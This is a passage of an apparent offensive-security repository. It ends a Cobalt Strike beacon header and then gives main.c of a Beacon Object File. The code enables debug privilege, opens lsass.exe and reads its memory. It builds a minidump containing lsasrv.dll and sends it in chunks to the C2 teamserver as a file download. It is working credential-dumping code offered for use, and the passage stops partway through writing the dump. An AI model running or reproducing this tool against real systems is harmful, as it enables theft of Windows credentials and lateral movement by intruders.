ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory 178 | PVOID AllocationBase; // The base address of the allocated memory block 179 | SIZE_T RegionSize; // The size of the allocated memory block 180 | DWORD Type; // The type of memory allocated 181 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures 182 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation 183 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; 184 | 185 | typedef struct { 186 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; 187 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY; 188 | 189 | /* 190 | * version - The version of the beacon dll was added for release 4.10 191 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 192 | * e.g. 0x040900 -> CS 4.9 193 | * 0x041000 -> CS 4.10 194 | * 195 | * sleep_mask_ptr - pointer to the sleep mask base address 196 | * sleep_mask_text_size - the sleep mask text section size 197 | * sleep_mask_total_size - the sleep mask total memory size 198 | * 199 | * beacon_ptr - pointer to beacon's base address 200 | * The stage.obfuscate flag affects this value when using CS default loader. 201 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 202 | * false: beacon_ptr = allocated_buffer (A valid address) 203 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 204 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 205 | * heap_records - list of memory addresses on the heap beacon wants to mask. 206 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 207 | * mask - the mask that beacon randomly generated to apply 208 | * 209 | * Added in version 4.10 210 | * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA 211 | * via a UDRL. 212 | */ 213 | typedef struct { 214 | unsigned int version; 215 | char * sleep_mask_ptr; 216 | DWORD sleep_mask_text_size; 217 | DWORD sleep_mask_total_size; 218 | 219 | char * beacon_ptr; 220 | HEAP_RECORD * heap_records; 221 | char mask[MASK_SIZE]; 222 | 223 | ALLOCATED_MEMORY allocatedMemory; 224 | } BEACON_INFO, *PBEACON_INFO; 225 | 226 | DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); 227 | 228 | /* Key/Value store functions 229 | * These functions are used to associate a key to a memory address and save 230 | * that information into beacon. These memory addresses can then be 231 | * retrieved in a subsequent execution of a BOF. 232 | * 233 | * key - the key will be converted to a hash which is used to locate the 234 | * memory address. 235 | * 236 | * ptr - a memory address to save. 237 | * 238 | * Considerations: 239 | * - The contents at the memory address is not masked by beacon. 240 | * - The contents at the memory address is not released by beacon. 241 | * 242 | */ 243 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 244 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 245 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 246 | 247 | /* Beacon Data Store functions 248 | * These functions are used to access items in Beacon's Data Store. 249 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 250 | * 251 | * The contents are masked by default, and BOFs must unprotect the entry 252 | * before accessing the data buffer. BOFs must also protect the entry 253 | * after the data is not used anymore. 254 | * 255 | */ 256 | 257 | #define DATA_STORE_TYPE_EMPTY 0 258 | #define DATA_STORE_TYPE_GENERAL_FILE 1 259 | 260 | typedef struct { 261 | int type; 262 | DWORD64 hash; 263 | BOOL masked; 264 | char* buffer; 265 | size_t length; 266 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 267 | 268 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 269 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 270 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 271 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 272 | 273 | /* Beacon User Data functions */ 274 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 275 | 276 | /* Beacon System call */ 277 | /* Syscalls API */ 278 | typedef struct 279 | { 280 | PVOID fnAddr; 281 | PVOID jmpAddr; 282 | DWORD sysnum; 283 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; 284 | 285 | typedef struct 286 | { 287 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 288 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 289 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 290 | SYSCALL_API_ENTRY ntGetContextThread; 291 | SYSCALL_API_ENTRY ntSetContextThread; 292 | SYSCALL_API_ENTRY ntResumeThread; 293 | SYSCALL_API_ENTRY ntCreateThreadEx; 294 | SYSCALL_API_ENTRY ntOpenProcess; 295 | SYSCALL_API_ENTRY ntOpenThread; 296 | SYSCALL_API_ENTRY ntClose; 297 | SYSCALL_API_ENTRY ntCreateSection; 298 | SYSCALL_API_ENTRY ntMapViewOfSection; 299 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 300 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 301 | SYSCALL_API_ENTRY ntDuplicateObject; 302 | SYSCALL_API_ENTRY ntReadVirtualMemory; 303 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 304 | SYSCALL_API_ENTRY ntReadFile; 305 | SYSCALL_API_ENTRY ntWriteFile; 306 | SYSCALL_API_ENTRY ntCreateFile; 307 | } SYSCALL_API, *PSYSCALL_API; 308 | 309 | /* Additional Run Time Library (RTL) addresses used to support system calls. 310 | * If they are not set then system calls that require them will fall back 311 | * to the Standard Windows API. 312 | * 313 | * Required to support the following system calls: 314 | * ntCreateFile 315 | */ 316 | typedef struct 317 | { 318 | PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; 319 | PVOID rtlFreeHeapAddr; 320 | PVOID rtlGetProcessHeapAddr; 321 | } RTL_API, *PRTL_API; 322 | 323 | typedef struct 324 | { 325 | PSYSCALL_API syscalls; 326 | PRTL_API rtls; 327 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS; 328 | 329 | DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized); 330 | 331 | /* Beacon System call functions which will use the current system call method */ 332 | DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 333 | DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 334 | DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 335 | DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 336 | DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 337 | DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 338 | DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 339 | DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); 340 | DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); 341 | DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); 342 | DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); 343 | DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); 344 | DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); 345 | DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); 346 | DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); 347 | DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 348 | 349 | /* Beacon Gate APIs */ 350 | DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); 351 | DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); 352 | 353 | /* Beacon User Data 354 | * 355 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 356 | * e.g. 0x040900 -> CS 4.9 357 | * 0x041000 -> CS 4.10 358 | */ 359 | 360 | #define DLL_BEACON_USER_DATA 0x0d 361 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 362 | typedef struct 363 | { 364 | unsigned int version; 365 | PSYSCALL_API syscalls; 366 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 367 | PRTL_API rtls; 368 | PALLOCATED_MEMORY allocatedMemory; 369 | } USER_DATA, * PUSER_DATA; 370 | 371 | #ifdef __cplusplus 372 | } 373 | #endif // __cplusplus 374 | #endif // _BEACON_H_ 375 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "bofdefs.h" 5 | #include "beacon.h" 6 | 7 | 8 | /*https://github.com/EspressoCake/DLL-Exports-Extraction-BOF/blob/main/src/main.c*/ 9 | void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { 10 | //Intializes random number generator to create fileId 11 | time_t t; 12 | MSVCRT$srand((unsigned)MSVCRT$time(&t)); 13 | int fileId = MSVCRT$rand(); 14 | 15 | //8 bytes for fileId and fileSize 16 | int messageLength = downloadFileNameLength + 8; 17 | char* packedData = (char*)MSVCRT$malloc(messageLength); 18 | 19 | //pack on fileId as 4-byte int first 20 | packedData[0] = (fileId >> 24) & 0xFF; 21 | packedData[1] = (fileId >> 16) & 0xFF; 22 | packedData[2] = (fileId >> 8) & 0xFF; 23 | packedData[3] = fileId & 0xFF; 24 | 25 | //pack on fileSize as 4-byte int second 26 | packedData[4] = (fileSize >> 24) & 0xFF; 27 | packedData[5] = (fileSize >> 16) & 0xFF; 28 | packedData[6] = (fileSize >> 8) & 0xFF; 29 | packedData[7] = fileSize & 0xFF; 30 | 31 | int packedIndex = 8; 32 | 33 | //pack on the file name last 34 | for (int i = 0; i < downloadFileNameLength; i++) { 35 | packedData[packedIndex] = fileName[i]; 36 | packedIndex++; 37 | } 38 | 39 | BeaconOutput(CALLBACK_FILE, packedData, messageLength); 40 | 41 | if (fileSize > (1024 * 900)){ 42 | 43 | //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) 44 | int numOfChunks = (fileSize / (1024 * 900)) + 1; 45 | int index = 0; 46 | int chunkSize = 1024 * 900; 47 | 48 | while(index < fileSize) { 49 | if (fileSize - index > chunkSize){//We have plenty of room, grab the chunk and move on 50 | 51 | /*First 4 are the fileId 52 | then account for length of file 53 | then a byte for the good-measure null byte to be included 54 | then lastly is the 4-byte int of the fileSize*/ 55 | int chunkLength = 4 + chunkSize; 56 | char* packedChunk = (char*) MSVCRT$malloc(chunkLength); 57 | 58 | //pack on fileId as 4-byte int first 59 | packedChunk[0] = (fileId >> 24) & 0xFF; 60 | packedChunk[1] = (fileId >> 16) & 0xFF; 61 | packedChunk[2] = (fileId >> 8) & 0xFF; 62 | packedChunk[3] = fileId & 0xFF; 63 | 64 | int chunkIndex = 4; 65 | 66 | //pack on the file name last 67 | for (int i = index; i < index + chunkSize; i++) { 68 | packedChunk[chunkIndex] = returnData[i]; 69 | chunkIndex++; 70 | } 71 | 72 | BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); 73 | 74 | } else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements 75 | 76 | int lastChunkLength = fileSize - index + 4; 77 | char* lastChunk = (char*) MSVCRT$malloc(lastChunkLength); 78 | 79 | //pack on fileId as 4-byte int first 80 | lastChunk[0] = (fileId >> 24) & 0xFF; 81 | lastChunk[1] = (fileId >> 16) & 0xFF; 82 | lastChunk[2] = (fileId >> 8) & 0xFF; 83 | lastChunk[3] = fileId & 0xFF; 84 | int lastChunkIndex = 4; 85 | 86 | //pack on the file name last 87 | for (int i = index; i < fileSize; i++) { 88 | lastChunk[lastChunkIndex] = returnData[i]; 89 | lastChunkIndex++; 90 | } 91 | BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); 92 | } 93 | 94 | index = index + chunkSize; 95 | 96 | } 97 | 98 | } else { 99 | 100 | /*first 4 are the fileId 101 | then account for length of file 102 | then a byte for the good-measure null byte to be included 103 | then lastly is the 4-byte int of the fileSize*/ 104 | int chunkLength = 4 + fileSize; 105 | char* packedChunk = (char*) MSVCRT$malloc(chunkLength); 106 | 107 | //pack on fileId as 4-byte int first 108 | packedChunk[0] = (fileId >> 24) & 0xFF; 109 | packedChunk[1] = (fileId >> 16) & 0xFF; 110 | packedChunk[2] = (fileId >> 8) & 0xFF; 111 | packedChunk[3] = fileId & 0xFF; 112 | int chunkIndex = 4; 113 | 114 | //pack on the file name last 115 | for (int i = 0; i < fileSize; i++) { 116 | packedChunk[chunkIndex] = returnData[i]; 117 | chunkIndex++; 118 | } 119 | 120 | BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); 121 | } 122 | 123 | 124 | //We need to tell the teamserver that we are done writing to this fileId 125 | char packedClose[4]; 126 | 127 | //pack on fileId as 4-byte int first 128 | packedClose[0] = (fileId >> 24) & 0xFF; 129 | packedClose[1] = (fileId >> 16) & 0xFF; 130 | packedClose[2] = (fileId >> 8) & 0xFF; 131 | packedClose[3] = fileId & 0xFF; 132 | BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); 133 | 134 | return; 135 | } 136 | 137 | /*From Sektor7 Malware courses*/ 138 | int FindTarget(const char *procname) { 139 | 140 | HANDLE hProcSnap; 141 | PROCESSENTRY32 pe32; 142 | int pid = 0; 143 | 144 | hProcSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 145 | if (INVALID_HANDLE_VALUE == hProcSnap) return 0; 146 | 147 | pe32.dwSize = sizeof(PROCESSENTRY32); 148 | 149 | if (!KERNEL32$Process32First(hProcSnap, &pe32)) { 150 | NTDLL$NtClose(hProcSnap); 151 | return 0; 152 | } 153 | 154 | while (KERNEL32$Process32Next(hProcSnap, &pe32)) { 155 | if (MSVCRT$strcmp(procname, pe32.szExeFile) == 0) { 156 | pid = pe32.th32ProcessID; 157 | break; 158 | } 159 | } 160 | 161 | NTDLL$NtClose(hProcSnap); 162 | 163 | return pid; 164 | } 165 | 166 | 167 | PVOID GetDllBaseAddress(HANDLE hProcess, const wchar_t* dllName) { 168 | PROCESS_BASIC_INFORMATION pbi; 169 | ULONG returnLength; 170 | SIZE_T bytesRead; 171 | NTSTATUS status; 172 | 173 | 174 | status = NTDLL$NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength); 175 | if (!NT_SUCCESS(status)) { 176 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to query process information. NTSTATUS: 0x%x\n", status); 177 | return NULL; 178 | } 179 | 180 | 181 | PEB peb; 182 | status = NTDLL$NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead); 183 | if (!NT_SUCCESS(status)) 184 | { 185 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read PEB from remote process\n"); 186 | return NULL; 187 | } 188 | 189 | 190 | PEB_LDR_DATA ldr; 191 | status = NTDLL$NtReadVirtualMemory(hProcess, peb.Ldr, &ldr, sizeof(ldr), &bytesRead); 192 | if (!NT_SUCCESS(status)) 193 | { 194 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read PEB_LDR_DATA from remote process\n"); 195 | return NULL; 196 | } 197 | 198 | 199 | LIST_ENTRY* pListHead = &ldr.InMemoryOrderModuleList; 200 | LIST_ENTRY* pListEntry = ldr.InMemoryOrderModuleList.Flink; 201 | 202 | do { 203 | 204 | LIST_ENTRY currentEntry; 205 | status = NTDLL$NtReadVirtualMemory(hProcess, pListEntry, ¤tEntry, sizeof(LIST_ENTRY), &bytesRead); 206 | if (!NT_SUCCESS(status)) 207 | { 208 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read LIST_ENTRY from remote process at 0x%p\n", pListEntry); 209 | BeaconPrintf(CALLBACK_ERROR, "[-] Error Code: 0x%08x\n", KERNEL32$GetLastError()); 210 | return NULL; 211 | } 212 | 213 | 214 | LDR_DATA_TABLE_ENTRY ldrEntry; 215 | status = NTDLL$NtReadVirtualMemory(hProcess, (PBYTE)pListEntry - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &ldrEntry, sizeof(ldrEntry), &bytesRead); 216 | if (!NT_SUCCESS(status)) 217 | { 218 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read LDR_DATA_TABLE_ENTRY from remote process\n"); 219 | BeaconPrintf(CALLBACK_ERROR, "[-] Error Code: 0x%08x\n", KERNEL32$GetLastError()); 220 | return NULL; 221 | } 222 | 223 | 224 | wchar_t dllBaseName[MAX_PATH]; 225 | SIZE_T maxReadSize; 226 | if (ldrEntry.BaseDllName.Length < sizeof(dllBaseName)) { 227 | maxReadSize = ldrEntry.BaseDllName.Length; 228 | } 229 | else { 230 | maxReadSize = sizeof(dllBaseName) - sizeof(wchar_t); 231 | } 232 | 233 | status = NTDLL$NtReadVirtualMemory(hProcess, ldrEntry.BaseDllName.Buffer, dllBaseName, maxReadSize, &bytesRead); 234 | if (!NT_SUCCESS(status)) 235 | { 236 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read DLL name from remote process\n"); 237 | BeaconPrintf(CALLBACK_ERROR, "[-] Error Code: 0x%08x\n", KERNEL32$GetLastError()); 238 | return NULL; 239 | } 240 | 241 | 242 | dllBaseName[maxReadSize / sizeof(wchar_t)] = L'\0'; 243 | 244 | if (MSVCRT$_wcsicmp(dllBaseName, dllName) == 0) { 245 | return ldrEntry.DllBase; 246 | } 247 | 248 | pListEntry = currentEntry.Flink; 249 | 250 | } while (pListEntry != pListHead); 251 | 252 | BeaconPrintf(CALLBACK_ERROR, "[-] DLL not found in remote process\n"); 253 | return NULL; 254 | } 255 | 256 | 257 | BOOL EnableDebugPriv() { 258 | 259 | HANDLE hToken; 260 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 261 | 262 | 263 | if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) 264 | { 265 | BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcessToken failed: 0x%08x\n", KERNEL32$GetLastError()); 266 | return FALSE; 267 | } 268 | 269 | 270 | if (!ADVAPI32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid)) 271 | { 272 | BeaconPrintf(CALLBACK_ERROR, "[-] LookupPrivilegeValue failed: 0x%08x\n", KERNEL32$GetLastError()); 273 | return FALSE; 274 | } 275 | 276 | TokenPrivileges.PrivilegeCount = 1; 277 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 278 | 279 | 280 | if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) 281 | { 282 | BeaconPrintf(CALLBACK_ERROR, "[-] AdjustTokenPrivileges failed: 0x%08x\n", KERNEL32$GetLastError()); 283 | return FALSE; 284 | } 285 | 286 | return TRUE; 287 | } 288 | 289 | 290 | void go(char* arg, int len) { 291 | 292 | HANDLE hProc; 293 | NTSTATUS status; 294 | 295 | long long max_mem = 0x7FFFFFFEFFFF; 296 | void* mem_address = NULL; 297 | 298 | BYTE* memory_regions = NULL; 299 | SIZE_T memory_regions_size = 0; 300 | MEMORY_64_INFO* mem64info_list = NULL; 301 | SIZE_T mem64infolist_count = 0; 302 | void* lsasrvdll_address = NULL; 303 | 304 | 305 | 306 | if(!BeaconIsAdmin()) 307 | { 308 | BeaconPrintf(CALLBACK_ERROR, "This needs to be run in high integrity context\n"); 309 | return; 310 | } 311 | 312 | //Get Beacon Args 313 | 314 | datap data; 315 | BeaconDataParse(&data, arg, len); 316 | char* filename; 317 | filename = BeaconDataExtract(&data, NULL); 318 | 319 | 320 | if (!EnableDebugPriv()) { 321 | BeaconPrintf(CALLBACK_ERROR, "[*] Could not enable SE_DEBUG_PRIVILEGE. Error: 0x%08x\n", KERNEL32$GetLastError()); 322 | return; 323 | } 324 | 325 | DWORD pid = FindTarget("lsass.exe"); 326 | 327 | CLIENT_ID clientId = { 0 }; 328 | clientId.UniqueProcess = (HANDLE)pid; 329 | OBJECT_ATTRIBUTES objectAttributes = { 0 }; 330 | 331 | 332 | status = NTDLL$NtOpenProcess(&hProc, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objectAttributes, &clientId); 333 | if (!NT_SUCCESS(status)) { 334 | BeaconPrintf(CALLBACK_ERROR, "[-] Error in NtOpenProcess\n"); 335 | BeaconPrintf(CALLBACK_ERROR, "NTSTATUS: 0x%08x\n", status); 336 | NTDLL$NtClose(hProc); 337 | return; 338 | } 339 | 340 | lsasrvdll_address = GetDllBaseAddress(hProc, L"lsasrv.dll"); 341 | if (lsasrvdll_address == NULL) { 342 | BeaconPrintf(CALLBACK_ERROR, "[*] Could not get address of lsasrv.dll. Error: 0x%08x\n", KERNEL32$GetLastError()); 343 | return; 344 | } 345 | 346 | SIZE_T lsasrvdll_size = 0; 347 | BOOL test_address = FALSE; 348 | 349 | while ((ULONG_PTR)mem_address < max_mem) { 350 | 351 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 352 | SIZE_T returnLength = 0; 353 | status = NTDLL$NtQueryVirtualMemory(hProc, mem_address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength); 354 | 355 | if (status != 0) { 356 | BeaconPrintf(CALLBACK_ERROR, "[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x%08X\n", status); 357 | continue; 358 | } 359 | 360 | 361 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) { 362 | 363 | 364 | mem64info_list = (MEMORY_64_INFO*)MSVCRT$realloc(mem64info_list, (mem64infolist_count + 1) * sizeof(MEMORY_64_INFO)); 365 | if (mem64info_list == NULL) { 366 | BeaconPrintf(CALLBACK_ERROR, "[-] Could not reallocate memory for mem64info_list. Error: 0x%08x\n", KERNEL32$GetLastError()); 367 | return; 368 | } 369 | 370 | mem64info_list[mem64infolist_count].Address = mbi.BaseAddress; 371 | mem64info_list[mem64infolist_count].Size = mbi.RegionSize; 372 | mem64infolist_count++; 373 | 374 | 375 | BYTE* buffer = (BYTE*)MSVCRT$malloc(mbi.RegionSize); 376 | if (buffer == NULL) { 377 | BeaconPrintf(CALLBACK_ERROR, "[-] Could not allocate memory for buffer. Error: 0x%08x\n", KERNEL32$GetLastError()); 378 | return; 379 | } 380 | 381 | ULONG bytesRead = 0; 382 | status = NTDLL$NtReadVirtualMemory(hProc, mbi.BaseAddress, buffer, mbi.RegionSize, &bytesRead); 383 | if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) { 384 | BeaconPrintf(CALLBACK_ERROR, "[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x%08X\n", status); 385 | } 386 | 387 | memory_regions = (BYTE*)MSVCRT$realloc(memory_regions, memory_regions_size + mbi.RegionSize); 388 | if (memory_regions == NULL) { 389 | BeaconPrintf(CALLBACK_ERROR, "[-] Could not reallocate memory for memory_regions. Error: 0x%08x\n", KERNEL32$GetLastError()); 390 | return; 391 | } 392 | 393 | 394 | MSVCRT$memcpy(memory_regions + memory_regions_size, buffer, mbi.RegionSize); 395 | memory_regions_size += mbi.RegionSize; 396 | MSVCRT$free(buffer); 397 | 398 | 399 | if ((PVOID)mbi.BaseAddress == (PVOID)lsasrvdll_address) { 400 | test_address = TRUE; 401 | } 402 | 403 | if (test_address) { 404 | if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address) { 405 | test_address = FALSE; 406 | } 407 | else { 408 | lsasrvdll_size += mbi.RegionSize; 409 | } 410 | } 411 | } 412 | 413 | mem_address = (PVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize); 414 | } 415 | 416 | 417 | //Start creating the minidump file format 418 | MINIDUMP_HEADER header = { 0 }; 419 | header.Signature = 0x504d444d; 420 | header.Version = 0xa793; 421 | header.NumberOfStreams = 0x3; 422 | header.StreamDirectoryRva = 0x20; 423 | 424 | 425 | // Stream Directory 426 | MINIDUMP_STREAM_DIRECTORY streamDirectoryEntry1 = { 0 }; 427 | streamDirectoryEntry1.StreamType = 4; 428 | streamDirectoryEntry1.Size = 112; 429 | streamDirectoryEntry1.Location = 0x7c; 430 | 431 | 432 | MINIDUMP_STREAM_DIRECTORY streamDirectoryEntry2 = { 0 }; 433 | streamDirectoryEntry2.StreamType = 7; 434 | streamDirectoryEntry2.Size = 56; 435 | streamDirectoryEntry2.Location = 0x44; 436 | 437 | 438 | MINIDUMP_STREAM_DIRECTORY streamDirectoryEntry3 = { 0 }; 439 | streamDirectoryEntry3.StreamType = 9; 440 | streamDirectoryEntry3.Size = (16 + 16 * mem64infolist_count); 441 | streamDirectoryEntry3.Location = 0x12A; 442 | 443 | 444 | RTL_OSVERSIONINFOW osVersion; 445 | NTDLL$RtlGetVersion(&osVersion); 446 | 447 | 448 | // System Info Stream 449 | MINIDUMP_SYSTEM_INFO systemInfoStream = { 0 }; 450 | systemInfoStream.ProcessorArchitecture = 0x9; 451 | systemInfoStream.MajorVersion = osVersion.dwMajorVersion; 452 | systemInfoStream.MinorVersion = osVersion.dwMinorVersion; 453 | systemInfoStream.BuildNumber = osVersion.dwBuildNumber; 454 | 455 | 456 | // Module List 457 | MODULE_LIST_STREAM moduleListStream = { 0 }; 458 | moduleListStream.NumberOfModules = 1; 459 | moduleListStream.BaseAddress = lsasrvdll_address; 460 | moduleListStream.Size = (ULONG)lsasrvdll_size; 461 | moduleListStream.PointerName = 0xE8; 462 | 463 | 464 | wchar_t dllPath[] = L"C:\\Windows\\System32\\lsasrv.dll"; 465 | UNICODE_STRING dllStruct = { 0 }; 466 | 467 | 468 | dllStruct.Length = MSVCRT$wcslen(dllPath) * 2; 469 | dllStruct.Buffer = (wchar_t*)MSVCRT$malloc(dllStruct.Length); 470 | if (dllStruct.Buffer == NULL) { 471 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to allocate memory for dllStruct.Buffer\n"); 472 | return; 473 | } 474 | 475 | 476 | MSVCRT$wcscpy_s(dllStruct.Buffer, (MSVCRT$wcslen(dllPath) * 2), dllPath); 477 | 478 | 479 | 480 | SIZE_T number_of_entries = mem64infolist_count; 481 | SIZE_T offset_mem_regions = 0x12A + 16 + (16 * number_of_entries); 482 | 483 | MEMORY64_LIST_STREAM memory64ListStream = { 0 }; 484 | memory64ListStream.NumberOfEntries = number_of_entries; 485 | memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions; 486 | 487 | 488 | 489 | char padding[] = {0x00, 0x00}; 490 | size_t totalSize = sizeof(header) 491 | + sizeof(streamDirectoryEntry1) 492 | + sizeof(streamDirectoryEntry2) 493 | + sizeof(streamDirectoryEntry3) 494 | + sizeof(systemInfoStream) 495 | + sizeof(moduleListStream) 496 | + sizeof(dllStruct.Length) 497 | + dllStruct.Length 498 | + sizeof(padding) 499 | + sizeof(memory64ListStream) 500 | + mem64infolist_count * sizeof(MEMORY_64_INFO) 501 | + memory_regions_size; 502 | 503 | DWORD bytesWritten; 504 | BYTE* dmpFileBuffer = (BYTE*)MSVCRT$malloc(totalSize); 505 | BYTE* currentPointer = dmpFileBuffer; 506 | 507 | 508 | 509 | MSVCRT$memcpy(currentPointer, &header, sizeof(header)); 510 | currentPointer += sizeof(header); 511 | MSVCRT$memcpy(currentPointer, &streamDirectoryEntry1, sizeof(streamDirectoryEntry1)); 512 | currentPointer += sizeof(streamDirectoryEntry1); 513 | 514 | MSVCRT$memcpy(currentPointer, &streamDirectoryEntry2, sizeof(streamDirectoryEntry2)); 515 | currentPointer += sizeof(streamDirectoryEntry2); 516 | 517 | MSVCRT$memcpy(currentPointer, &streamDirectoryEntry3, sizeof(streamDirectoryEntry3)); 518 | currentPointer += sizeof(streamDirectoryEntry3); 519 | 520 | MSVCRT$memcpy(currentPointer, &systemInfoStream, sizeof(systemInfoStream)); 521 | currentPointer += sizeof(systemInfoStream); 522 | 523 | MSVCRT$memcpy(currentPointer, &moduleListStream, sizeof(moduleListStream)); 524 | currentPointer += sizeof(moduleListStream); 525 | 526 | MSVCRT$memcpy(currentPointer, &dllStruct.Length, sizeof(dllStruct.Length)); 527 | currentPointer += sizeof(dllStruct.Length); 528 | 529 | MSVCRT$memcpy(currentPointer, dllStruct.Buffer, dllStruct.Length); 530 | currentPointer += dllStruct.Length; 531 | 532 | MSVCRT$memcpy(currentPointer, padding, sizeof(padding)); 533 | currentPointer += sizeof(padding); 534 | 535 | MSVCRT$memcpy(currentPointer, &memory64ListStream, sizeof(memory64ListStream)); 536 | currentPointer += sizeof(memory64ListStream); 537 | 538 | for (SIZE_T i = 0; i < mem64infolist_count; i++) { 539 | MSVCRT$memcpy(currentPointer, &mem64info_list[i], 